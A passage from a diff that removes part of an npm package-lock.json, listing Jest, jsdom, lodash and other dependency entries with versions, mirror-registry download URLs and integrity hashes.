-        "graceful-fs": "^4.2.4",
-        "micromatch": "^4.0.2",
-        "pretty-format": "^26.6.2",
-        "slash": "^3.0.0",
-        "stack-utils": "^2.0.2"
-      }
-    },
-    "jest-mock": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-mock/download/jest-mock-26.6.2.tgz",
-      "integrity": "sha1-1stxKwQe1H/g2bb8NHS8ZUP+swI=",
-      "requires": {
-        "@jest/types": "^26.6.2",
-        "@types/node": "*"
-      }
-    },
-    "jest-pnp-resolver": {
-      "version": "1.2.2",
-      "resolved": "https://registry.npm.taobao.org/jest-pnp-resolver/download/jest-pnp-resolver-1.2.2.tgz",
-      "integrity": "sha1-twSsCuAoqJEIpNBAs/kZ393I4zw="
-    },
-    "jest-regex-util": {
-      "version": "26.0.0",
-      "resolved": "https://registry.nlark.com/jest-regex-util/download/jest-regex-util-26.0.0.tgz?cache=0&sync_timestamp=1621937257750&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-regex-util%2Fdownload%2Fjest-regex-util-26.0.0.tgz",
-      "integrity": "sha1-0l5xhLNuOf1GbDvEG+CXHoIf7ig="
-    },
-    "jest-resolve": {
-      "version": "26.6.0",
-      "resolved": "https://registry.nlark.com/jest-resolve/download/jest-resolve-26.6.0.tgz?cache=0&sync_timestamp=1622709020612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve%2Fdownload%2Fjest-resolve-26.6.0.tgz",
-      "integrity": "sha1-Bw/nFZr4ewPlD1LqXhfulbvuQOE=",
-      "requires": {
-        "@jest/types": "^26.6.0",
-        "chalk": "^4.0.0",
-        "graceful-fs": "^4.2.4",
-        "jest-pnp-resolver": "^1.2.2",
-        "jest-util": "^26.6.0",
-        "read-pkg-up": "^7.0.1",
-        "resolve": "^1.17.0",
-        "slash": "^3.0.0"
-      },
-      "dependencies": {
-        "read-pkg": {
-          "version": "5.2.0",
-          "resolved": "https://registry.nlark.com/read-pkg/download/read-pkg-5.2.0.tgz",
-          "integrity": "sha1-e/KVQ4yloz5WzTDgU7NO5yUMk8w=",
-          "requires": {
-            "@types/normalize-package-data": "^2.4.0",
-            "normalize-package-data": "^2.5.0",
-            "parse-json": "^5.0.0",
-            "type-fest": "^0.6.0"
-          },
-          "dependencies": {
-            "type-fest": {
-              "version": "0.6.0",
-              "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.6.0.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.6.0.tgz",
-              "integrity": "sha1-jSojcNPfiG61yQraHFv2GIrPg4s="
-            }
-          }
-        },
-        "read-pkg-up": {
-          "version": "7.0.1",
-          "resolved": "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-7.0.1.tgz?cache=0&sync_timestamp=1616916249599&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-7.0.1.tgz",
-          "integrity": "sha1-86YTV1hFlzOuK5VjgFbhhU5+9Qc=",
-          "requires": {
-            "find-up": "^4.1.0",
-            "read-pkg": "^5.2.0",
-            "type-fest": "^0.8.1"
-          }
-        },
-        "type-fest": {
-          "version": "0.8.1",
-          "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.8.1.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.8.1.tgz",
-          "integrity": "sha1-CeJJ696FHTseSNJ8EFREZn8XuD0="
-        }
-      }
-    },
-    "jest-resolve-dependencies": {
-      "version": "26.6.3",
-      "resolved": "https://registry.nlark.com/jest-resolve-dependencies/download/jest-resolve-dependencies-26.6.3.tgz?cache=0&sync_timestamp=1622709025279&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve-dependencies%2Fdownload%2Fjest-resolve-dependencies-26.6.3.tgz",
-      "integrity": "sha1-ZoCFnuXSLuXc2WH+SHH1n0x4T7Y=",
-      "requires": {
-        "@jest/types": "^26.6.2",
-        "jest-regex-util": "^26.0.0",
-        "jest-snapshot": "^26.6.2"
-      }
-    },
-    "jest-runner": {
-      "version": "26.6.3",
-      "resolved": "https://registry.nlark.com/jest-runner/download/jest-runner-26.6.3.tgz?cache=0&sync_timestamp=1622709026089&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-runner%2Fdownload%2Fjest-runner-26.6.3.tgz",
-      "integrity": "sha1-LR/tPUbhDyM/0dvTv6o/6JJL4Vk=",
-      "requires": {
-        "@jest/console": "^26.6.2",
-        "@jest/environment": "^26.6.2",
-        "@jest/test-result": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "@types/node": "*",
-        "chalk": "^4.0.0",
-        "emittery": "^0.7.1",
-        "exit": "^0.1.2",
-        "graceful-fs": "^4.2.4",
-        "jest-config": "^26.6.3",
-        "jest-docblock": "^26.0.0",
-        "jest-haste-map": "^26.6.2",
-        "jest-leak-detector": "^26.6.2",
-        "jest-message-util": "^26.6.2",
-        "jest-resolve": "^26.6.2",
-        "jest-runtime": "^26.6.3",
-        "jest-util": "^26.6.2",
-        "jest-worker": "^26.6.2",
-        "source-map-support": "^0.5.6",
-        "throat": "^5.0.0"
-      },
-      "dependencies": {
-        "jest-resolve": {
-          "version": "26.6.2",
-          "resolved": "https://registry.nlark.com/jest-resolve/download/jest-resolve-26.6.2.tgz?cache=0&sync_timestamp=1622709020612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve%2Fdownload%2Fjest-resolve-26.6.2.tgz",
-          "integrity": "sha1-o6sVFyF/RptQTxtWYDxbtUH7tQc=",
-          "requires": {
-            "@jest/types": "^26.6.2",
-            "chalk": "^4.0.0",
-            "graceful-fs": "^4.2.4",
-            "jest-pnp-resolver": "^1.2.2",
-            "jest-util": "^26.6.2",
-            "read-pkg-up": "^7.0.1",
-            "resolve": "^1.18.1",
-            "slash": "^3.0.0"
-          }
-        },
-        "read-pkg": {
-          "version": "5.2.0",
-          "resolved": "https://registry.nlark.com/read-pkg/download/read-pkg-5.2.0.tgz",
-          "integrity": "sha1-e/KVQ4yloz5WzTDgU7NO5yUMk8w=",
-          "requires": {
-            "@types/normalize-package-data": "^2.4.0",
-            "normalize-package-data": "^2.5.0",
-            "parse-json": "^5.0.0",
-            "type-fest": "^0.6.0"
-          },
-          "dependencies": {
-            "type-fest": {
-              "version": "0.6.0",
-              "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.6.0.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.6.0.tgz",
-              "integrity": "sha1-jSojcNPfiG61yQraHFv2GIrPg4s="
-            }
-          }
-        },
-        "read-pkg-up": {
-          "version": "7.0.1",
-          "resolved": "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-7.0.1.tgz?cache=0&sync_timestamp=1616916249599&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-7.0.1.tgz",
-          "integrity": "sha1-86YTV1hFlzOuK5VjgFbhhU5+9Qc=",
-          "requires": {
-            "find-up": "^4.1.0",
-            "read-pkg": "^5.2.0",
-            "type-fest": "^0.8.1"
-          }
-        },
-        "type-fest": {
-          "version": "0.8.1",
-          "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.8.1.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.8.1.tgz",
-          "integrity": "sha1-CeJJ696FHTseSNJ8EFREZn8XuD0="
-        }
-      }
-    },
-    "jest-runtime": {
-      "version": "26.6.3",
-      "resolved": "https://registry.nlark.com/jest-runtime/download/jest-runtime-26.6.3.tgz?cache=0&sync_timestamp=1622709022632&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-runtime%2Fdownload%2Fjest-runtime-26.6.3.tgz",
-      "integrity": "sha1-T2TvvPrDmDMbdLSzyC0n1AG4+is=",
-      "requires": {
-        "@jest/console": "^26.6.2",
-        "@jest/environment": "^26.6.2",
-        "@jest/fake-timers": "^26.6.2",
-        "@jest/globals": "^26.6.2",
-        "@jest/source-map": "^26.6.2",
-        "@jest/test-result": "^26.6.2",
-        "@jest/transform": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "@types/yargs": "^15.0.0",
-        "chalk": "^4.0.0",
-        "cjs-module-lexer": "^0.6.0",
-        "collect-v8-coverage": "^1.0.0",
-        "exit": "^0.1.2",
-        "glob": "^7.1.3",
-        "graceful-fs": "^4.2.4",
-        "jest-config": "^26.6.3",
-        "jest-haste-map": "^26.6.2",
-        "jest-message-util": "^26.6.2",
-        "jest-mock": "^26.6.2",
-        "jest-regex-util": "^26.0.0",
-        "jest-resolve": "^26.6.2",
-        "jest-snapshot": "^26.6.2",
-        "jest-util": "^26.6.2",
-        "jest-validate": "^26.6.2",
-        "slash": "^3.0.0",
-        "strip-bom": "^4.0.0",
-        "yargs": "^15.4.1"
-      },
-      "dependencies": {
-        "jest-resolve": {
-          "version": "26.6.2",
-          "resolved": "https://registry.nlark.com/jest-resolve/download/jest-resolve-26.6.2.tgz?cache=0&sync_timestamp=1622709020612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve%2Fdownload%2Fjest-resolve-26.6.2.tgz",
-          "integrity": "sha1-o6sVFyF/RptQTxtWYDxbtUH7tQc=",
-          "requires": {
-            "@jest/types": "^26.6.2",
-            "chalk": "^4.0.0",
-            "graceful-fs": "^4.2.4",
-            "jest-pnp-resolver": "^1.2.2",
-            "jest-util": "^26.6.2",
-            "read-pkg-up": "^7.0.1",
-            "resolve": "^1.18.1",
-            "slash": "^3.0.0"
-          }
-        },
-        "read-pkg": {
-          "version": "5.2.0",
-          "resolved": "https://registry.nlark.com/read-pkg/download/read-pkg-5.2.0.tgz",
-          "integrity": "sha1-e/KVQ4yloz5WzTDgU7NO5yUMk8w=",
-          "requires": {
-            "@types/normalize-package-data": "^2.4.0",
-            "normalize-package-data": "^2.5.0",
-            "parse-json": "^5.0.0",
-            "type-fest": "^0.6.0"
-          },
-          "dependencies": {
-            "type-fest": {
-              "version": "0.6.0",
-              "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.6.0.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.6.0.tgz",
-              "integrity": "sha1-jSojcNPfiG61yQraHFv2GIrPg4s="
-            }
-          }
-        },
-        "read-pkg-up": {
-          "version": "7.0.1",
-          "resolved": "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-7.0.1.tgz?cache=0&sync_timestamp=1616916249599&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-7.0.1.tgz",
-          "integrity": "sha1-86YTV1hFlzOuK5VjgFbhhU5+9Qc=",
-          "requires": {
-            "find-up": "^4.1.0",
-            "read-pkg": "^5.2.0",
-            "type-fest": "^0.8.1"
-          }
-        },
-        "strip-bom": {
-          "version": "4.0.0",
-          "resolved": "https://registry.nlark.com/strip-bom/download/strip-bom-4.0.0.tgz?cache=0&sync_timestamp=1618847025316&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstrip-bom%2Fdownload%2Fstrip-bom-4.0.0.tgz",
-          "integrity": "sha1-nDUFwdtFvO3KPZz3oW9cWqOQGHg="
-        },
-        "type-fest": {
-          "version": "0.8.1",
-          "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.8.1.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.8.1.tgz",
-          "integrity": "sha1-CeJJ696FHTseSNJ8EFREZn8XuD0="
-        }
-      }
-    },
-    "jest-serializer": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-serializer/download/jest-serializer-26.6.2.tgz?cache=0&sync_timestamp=1621937211347&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-serializer%2Fdownload%2Fjest-serializer-26.6.2.tgz",
-      "integrity": "sha1-0Tmq/UaVfTpEjzps2r4pGboHQtE=",
-      "requires": {
-        "@types/node": "*",
-        "graceful-fs": "^4.2.4"
-      }
-    },
-    "jest-snapshot": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-snapshot/download/jest-snapshot-26.6.2.tgz?cache=0&sync_timestamp=1622709023497&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-snapshot%2Fdownload%2Fjest-snapshot-26.6.2.tgz",
-      "integrity": "sha1-87CvGssiMxaFC9FOG+6pg3+znIQ=",
-      "requires": {
-        "@babel/types": "^7.0.0",
-        "@jest/types": "^26.6.2",
-        "@types/babel__traverse": "^7.0.4",
-        "@types/prettier": "^2.0.0",
-        "chalk": "^4.0.0",
-        "expect": "^26.6.2",
-        "graceful-fs": "^4.2.4",
-        "jest-diff": "^26.6.2",
-        "jest-get-type": "^26.3.0",
-        "jest-haste-map": "^26.6.2",
-        "jest-matcher-utils": "^26.6.2",
-        "jest-message-util": "^26.6.2",
-        "jest-resolve": "^26.6.2",
-        "natural-compare": "^1.4.0",
-        "pretty-format": "^26.6.2",
-        "semver": "^7.3.2"
-      },
-      "dependencies": {
-        "jest-resolve": {
-          "version": "26.6.2",
-          "resolved": "https://registry.nlark.com/jest-resolve/download/jest-resolve-26.6.2.tgz?cache=0&sync_timestamp=1622709020612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve%2Fdownload%2Fjest-resolve-26.6.2.tgz",
-          "integrity": "sha1-o6sVFyF/RptQTxtWYDxbtUH7tQc=",
-          "requires": {
-            "@jest/types": "^26.6.2",
-            "chalk": "^4.0.0",
-            "graceful-fs": "^4.2.4",
-            "jest-pnp-resolver": "^1.2.2",
-            "jest-util": "^26.6.2",
-            "read-pkg-up": "^7.0.1",
-            "resolve": "^1.18.1",
-            "slash": "^3.0.0"
-          }
-        },
-        "read-pkg": {
-          "version": "5.2.0",
-          "resolved": "https://registry.nlark.com/read-pkg/download/read-pkg-5.2.0.tgz",
-          "integrity": "sha1-e/KVQ4yloz5WzTDgU7NO5yUMk8w=",
-          "requires": {
-            "@types/normalize-package-data": "^2.4.0",
-            "normalize-package-data": "^2.5.0",
-            "parse-json": "^5.0.0",
-            "type-fest": "^0.6.0"
-          },
-          "dependencies": {
-            "type-fest": {
-              "version": "0.6.0",
-              "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.6.0.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.6.0.tgz",
-              "integrity": "sha1-jSojcNPfiG61yQraHFv2GIrPg4s="
-            }
-          }
-        },
-        "read-pkg-up": {
-          "version": "7.0.1",
-          "resolved": "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-7.0.1.tgz?cache=0&sync_timestamp=1616916249599&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-7.0.1.tgz",
-          "integrity": "sha1-86YTV1hFlzOuK5VjgFbhhU5+9Qc=",
-          "requires": {
-            "find-up": "^4.1.0",
-            "read-pkg": "^5.2.0",
-            "type-fest": "^0.8.1"
-          }
-        },
-        "type-fest": {
-          "version": "0.8.1",
-          "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.8.1.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.8.1.tgz",
-          "integrity": "sha1-CeJJ696FHTseSNJ8EFREZn8XuD0="
-        }
-      }
-    },
-    "jest-util": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-util/download/jest-util-26.6.2.tgz?cache=0&sync_timestamp=1622290048969&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-util%2Fdownload%2Fjest-util-26.6.2.tgz",
-      "integrity": "sha1-kHU12+TVpstMR6ybkm9q8pV2y8E=",
-      "requires": {
-        "@jest/types": "^26.6.2",
-        "@types/node": "*",
-        "chalk": "^4.0.0",
-        "graceful-fs": "^4.2.4",
-        "is-ci": "^2.0.0",
-        "micromatch": "^4.0.2"
-      }
-    },
-    "jest-validate": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-validate/download/jest-validate-26.6.2.tgz",
-      "integrity": "sha1-I9OAlxWHFQRnNCkRw9e0rFerIOw=",
-      "requires": {
-        "@jest/types": "^26.6.2",
-        "camelcase": "^6.0.0",
-        "chalk": "^4.0.0",
-        "jest-get-type": "^26.3.0",
-        "leven": "^3.1.0",
-        "pretty-format": "^26.6.2"
-      }
-    },
-    "jest-watch-typeahead": {
-      "version": "0.6.1",
-      "resolved": "https://registry.nlark.com/jest-watch-typeahead/download/jest-watch-typeahead-0.6.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-watch-typeahead%2Fdownload%2Fjest-watch-typeahead-0.6.1.tgz",
-      "integrity": "sha1-RSIbhrtnELfpe6qhZAriSgd4XmM=",
-      "requires": {
-        "ansi-escapes": "^4.3.1",
-        "chalk": "^4.0.0",
-        "jest-regex-util": "^26.0.0",
-        "jest-watcher": "^26.3.0",
-        "slash": "^3.0.0",
-        "string-length": "^4.0.1",
-        "strip-ansi": "^6.0.0"
-      }
-    },
-    "jest-watcher": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-watcher/download/jest-watcher-26.6.2.tgz",
-      "integrity": "sha1-pbaDuPnWjbyx19rjIXLSzKBZKXU=",
-      "requires": {
-        "@jest/test-result": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "@types/node": "*",
-        "ansi-escapes": "^4.2.1",
-        "chalk": "^4.0.0",
-        "jest-util": "^26.6.2",
-        "string-length": "^4.0.1"
-      }
-    },
-    "jest-worker": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/jest-worker/download/jest-worker-26.6.2.tgz",
-      "integrity": "sha1-f3LLxNZDw2Xie5/XdfnQ6qnHqO0=",
-      "requires": {
-        "@types/node": "*",
-        "merge-stream": "^2.0.0",
-        "supports-color": "^7.0.0"
-      }
-    },
-    "js-tokens": {
-      "version": "4.0.0",
-      "resolved": "https://registry.nlark.com/js-tokens/download/js-tokens-4.0.0.tgz",
-      "integrity": "sha1-GSA/tZmR35jjoocFDUZHzerzJJk="
-    },
-    "js-yaml": {
-      "version": "3.14.1",
-      "resolved": "https://registry.nlark.com/js-yaml/download/js-yaml-3.14.1.tgz?cache=0&sync_timestamp=1618847165988&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjs-yaml%2Fdownload%2Fjs-yaml-3.14.1.tgz",
-      "integrity": "sha1-2ugS/bOCX6MGYJqHFzg8UMNqBTc=",
-      "requires": {
-        "argparse": "^1.0.7",
-        "esprima": "^4.0.0"
-      }
-    },
-    "jsdom": {
-      "version": "16.6.0",
-      "resolved": "https://registry.nlark.com/jsdom/download/jsdom-16.6.0.tgz?cache=0&sync_timestamp=1621799667999&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjsdom%2Fdownload%2Fjsdom-16.6.0.tgz",
-      "integrity": "sha1-95s3hmggZUkqPaamCkaV2pg4Baw=",
-      "requires": {
-        "abab": "^2.0.5",
-        "acorn": "^8.2.4",
-        "acorn-globals": "^6.0.0",
-        "cssom": "^0.4.4",
-        "cssstyle": "^2.3.0",
-        "data-urls": "^2.0.0",
-        "decimal.js": "^10.2.1",
-        "domexception": "^2.0.1",
-        "escodegen": "^2.0.0",
-        "form-data": "^3.0.0",
-        "html-encoding-sniffer": "^2.0.1",
-        "http-proxy-agent": "^4.0.1",
-        "https-proxy-agent": "^5.0.0",
-        "is-potential-custom-element-name": "^1.0.1",
-        "nwsapi": "^2.2.0",
-        "parse5": "6.0.1",
-        "saxes": "^5.0.1",
-        "symbol-tree": "^3.2.4",
-        "tough-cookie": "^4.0.0",
-        "w3c-hr-time": "^1.0.2",
-        "w3c-xmlserializer": "^2.0.0",
-        "webidl-conversions": "^6.1.0",
-        "whatwg-encoding": "^1.0.5",
-        "whatwg-mimetype": "^2.3.0",
-        "whatwg-url": "^8.5.0",
-        "ws": "^7.4.5",
-        "xml-name-validator": "^3.0.0"
-      },
-      "dependencies": {
-        "acorn": {
-          "version": "8.3.0",
-          "resolved": "https://registry.nlark.com/acorn/download/acorn-8.3.0.tgz?cache=0&sync_timestamp=1622440161899&other_urls=https%3A%2F%2Fregistry.nlark.com%2Facorn%2Fdownload%2Facorn-8.3.0.tgz",
-          "integrity": "sha1-EZP5uWxOgjLwCxGp7f+Bssi5i4g="
-        }
-      }
-    },
-    "jsesc": {
-      "version": "2.5.2",
-      "resolved": "https://registry.npm.taobao.org/jsesc/download/jsesc-2.5.2.tgz",
-      "integrity": "sha1-gFZNLkg9rPbo7yCWUKZ98/DCg6Q="
-    },
-    "json-parse-better-errors": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/json-parse-better-errors/download/json-parse-better-errors-1.0.2.tgz",
-      "integrity": "sha1-u4Z8+zRQ5pEHwTHRxRS6s9yLyqk="
-    },
-    "json-parse-even-better-errors": {
-      "version": "2.3.1",
-      "resolved": "https://registry.npm.taobao.org/json-parse-even-better-errors/download/json-parse-even-better-errors-2.3.1.tgz",
-      "integrity": "sha1-fEeAWpQxmSjgV3dAXcEuH3pO4C0="
-    },
-    "json-schema-traverse": {
-      "version": "0.4.1",
-      "resolved": "https://registry.nlark.com/json-schema-traverse/download/json-schema-traverse-0.4.1.tgz",
-      "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA="
-    },
-    "json-stable-stringify-without-jsonify": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/json-stable-stringify-without-jsonify/download/json-stable-stringify-without-jsonify-1.0.1.tgz",
-      "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE="
-    },
-    "json3": {
-      "version": "3.3.3",
-      "resolved": "https://registry.npm.taobao.org/json3/download/json3-3.3.3.tgz",
-      "integrity": "sha1-f8EON1/FrkLEcFpcwKpvYr4wW4E="
-    },
-    "json5": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/json5/download/json5-2.2.0.tgz",
-      "integrity": "sha1-Lf7+cgxrpSXZ69kJlQ8FFTFsiaM=",
-      "requires": {
-        "minimist": "^1.2.5"
-      }
-    },
-    "jsonfile": {
-      "version": "6.1.0",
-      "resolved": "https://registry.npm.taobao.org/jsonfile/download/jsonfile-6.1.0.tgz?cache=0&sync_timestamp=1604161822397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjsonfile%2Fdownload%2Fjsonfile-6.1.0.tgz",
-      "integrity": "sha1-vFWyY0eTxnnsZAMJTrE2mKbsCq4=",
-      "requires": {
-        "graceful-fs": "^4.1.6",
-        "universalify": "^2.0.0"
-      }
-    },
-    "jsx-ast-utils": {
-      "version": "3.2.0",
-      "resolved": "https://registry.npm.taobao.org/jsx-ast-utils/download/jsx-ast-utils-3.2.0.tgz",
-      "integrity": "sha1-QRCNLOxAjDRTwbvopKrp4eK9j4I=",
-      "requires": {
-        "array-includes": "^3.1.2",
-        "object.assign": "^4.1.2"
-      }
-    },
-    "killable": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/killable/download/killable-1.0.1.tgz",
-      "integrity": "sha1-TIzkQRh6Bhx0dPuHygjipjgZSJI="
-    },
-    "kind-of": {
-      "version": "6.0.3",
-      "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-6.0.3.tgz",
-      "integrity": "sha1-B8BQNKbDSfoG4k+jWqdttFgM5N0="
-    },
-    "kleur": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npm.taobao.org/kleur/download/kleur-3.0.3.tgz",
-      "integrity": "sha1-p5yezIbuHOP6YgbRIWxQHxR/wH4="
-    },
-    "klona": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npm.taobao.org/klona/download/klona-2.0.4.tgz",
-      "integrity": "sha1-e7Hjr/sMuGJFR+9+j2cI6i4538A="
-    },
-    "language-subtag-registry": {
-      "version": "0.3.21",
-      "resolved": "https://registry.npm.taobao.org/language-subtag-registry/download/language-subtag-registry-0.3.21.tgz",
-      "integrity": "sha1-BKwhi+pG8EywOQhGAsbanniN1Fo="
-    },
-    "language-tags": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npm.taobao.org/language-tags/download/language-tags-1.0.5.tgz",
-      "integrity": "sha1-0yHbxNowuovzAk4ED6XBRmH5GTo=",
-      "requires": {
-        "language-subtag-registry": "~0.3.2"
-      }
-    },
-    "last-call-webpack-plugin": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/last-call-webpack-plugin/download/last-call-webpack-plugin-3.0.0.tgz",
-      "integrity": "sha1-l0LfDhDjz0blwDgcLekNOnotdVU=",
-      "requires": {
-        "lodash": "^4.17.5",
-        "webpack-sources": "^1.1.0"
-      }
-    },
-    "leven": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npm.taobao.org/leven/download/leven-3.1.0.tgz",
-      "integrity": "sha1-d4kd6DQGTMy6gq54QrtrFKE+1/I="
-    },
-    "levn": {
-      "version": "0.4.1",
-      "resolved": "https://registry.npm.taobao.org/levn/download/levn-0.4.1.tgz",
-      "integrity": "sha1-rkViwAdHO5MqYgDUAyaN0v/8at4=",
-      "requires": {
-        "prelude-ls": "^1.2.1",
-        "type-check": "~0.4.0"
-      }
-    },
-    "lines-and-columns": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npm.taobao.org/lines-and-columns/download/lines-and-columns-1.1.6.tgz",
-      "integrity": "sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA="
-    },
-    "load-json-file": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npm.taobao.org/load-json-file/download/load-json-file-4.0.0.tgz",
-      "integrity": "sha1-L19Fq5HjMhYjT9U62rZo607AmTs=",
-      "requires": {
-        "graceful-fs": "^4.1.2",
-        "parse-json": "^4.0.0",
-        "pify": "^3.0.0",
-        "strip-bom": "^3.0.0"
-      },
-      "dependencies": {
-        "parse-json": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/parse-json/download/parse-json-4.0.0.tgz",
-          "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=",
-          "requires": {
-            "error-ex": "^1.3.1",
-            "json-parse-better-errors": "^1.0.1"
-          }
-        },
-        "pify": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/pify/download/pify-3.0.0.tgz",
-          "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY="
-        }
-      }
-    },
-    "loader-runner": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npm.taobao.org/loader-runner/download/loader-runner-2.4.0.tgz?cache=0&sync_timestamp=1610027943366&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Floader-runner%2Fdownload%2Floader-runner-2.4.0.tgz",
-      "integrity": "sha1-7UcGa/5TTX6ExMe5mYwqdWB9k1c="
-    },
-    "loader-utils": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-2.0.0.tgz",
-      "integrity": "sha1-5MrOW4FtQloWa18JfhDNErNgZLA=",
-      "requires": {
-        "big.js": "^5.2.2",
-        "emojis-list": "^3.0.0",
-        "json5": "^2.1.2"
-      }
-    },
-    "locate-path": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npm.taobao.org/locate-path/download/locate-path-5.0.0.tgz",
-      "integrity": "sha1-Gvujlq/WdqbUJQTQpno6frn2KqA=",
-      "requires": {
-        "p-locate": "^4.1.0"
-      }
-    },
-    "lodash": {
-      "version": "4.17.21",
-      "resolved": "https://registry.npm.taobao.org/lodash/download/lodash-4.17.21.tgz",
-      "integrity": "sha1-Z5WRxWTDv/quhFTPCz3zcMPWkRw="
-    },
-    "lodash-es": {
-      "version": "4.17.21",
-      "resolved": "https://registry.npm.taobao.org/lodash-es/download/lodash-es-4.17.21.tgz?cache=0&sync_timestamp=1613836280924&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Flodash-es%2Fdownload%2Flodash-es-4.17.21.tgz",
-      "integrity": "sha1-Q+YmxG5lkbd1C+srUBFzkMYJ4+4="
-    },
-    "lodash._reinterpolate": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/lodash._reinterpolate/download/lodash._reinterpolate-3.0.0.tgz",
-      "integrity": "sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0="
-    },
-    "lodash.clonedeep": {
-      "version": "4.5.0",
-      "resolved": "https://registry.npm.taobao.org/lodash.clonedeep/download/lodash.clonedeep-4.5.0.tgz",
-      "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8="
-    },
-    "lodash.debounce": {
-      "version": "4.0.8",
-      "resolved": "https://registry.npm.taobao.org/lodash.debounce/download/lodash.debounce-4.0.8.tgz",
-      "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168="
-    },
-    "lodash.memoize": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npm.taobao.org/lodash.memoize/download/lodash.memoize-4.1.2.tgz",
-      "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4="
-    },
-    "lodash.merge": {
-      "version": "4.6.2",
